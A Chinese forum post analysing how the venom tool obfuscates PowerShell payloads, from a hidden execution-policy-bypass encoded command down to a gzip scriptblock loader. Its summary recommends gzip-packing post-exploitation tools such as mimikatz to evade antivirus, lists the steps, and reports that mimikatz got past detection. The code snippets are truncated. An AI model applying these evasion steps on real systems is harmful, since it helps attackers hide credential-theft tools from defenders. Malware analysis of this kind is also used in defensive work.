venom的powershell免杀技术分析

break2 / 2019-11-02 10:24:00 / 浏览数 5206 安全工具 工具 顶(0) 踩(0)

前言

powershell具有在硬盘中易绕过，内存中难查杀的特点。venom中提供了一种加载方式，可以有效的绕过硬盘查杀。本文一层层把venom生成的外壳褪去，得到其加载方式
本例使用【2】Windows平台下，【10】bat+powerhsell生成。

第一层

- 该层使用了base64编码，源码如下。

```
powershell.exe -nop -wind hidden -Exec Bypass -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkA
```

- 使用 FromBase64String() 解码

```
$DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText))
```

第二层

- 解码后如下

```
if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Obj
```

- 分析得到关键函数，System.IO.Compression.GzipStream 。本层利用gzip加密
  ## 第三层

- 这一层是以二进制的形式读取压缩后的文件，然后将二进制进行base64编码。再使用FromBase64String将字符串转为二进制，用GzipStream读取，最后作为代码块执行
  ## 总结

1. 使用 FromBase64String 已经不可取了，因为该函数本身已经被标记为特征码了。
2. 反病毒软件会自动对base64字符串进行分析，base64编码起不到混淆的作用。
3. 可以在已经获得权限的场景下，将powerhsell后渗透工具gzip加密上传，使用 GzipStream 加载，达到免杀的效果。使用方法如下：
   - 将powerhsell脚本压缩为gzip
   - 以二进制形式读取压缩包
   - 使用本文最后的语句获得代码块
   - 执行代码块
4. 亲测mimikatz免杀，但是提取密码失败了，，，

```
[scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.Mem
```

扩展

对于exe也可以使用这种方法硬盘免杀，因为exe可以编码放到powershell里执行。但是本人在将exe放进powershell里执行的时候失败了，不懂为什么 ？？？

上一篇：ASP.NET 代码审计 下一篇：【linux内核userfault...

1. 0 条回复
   - 动动手指，沙发就是你的了！

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板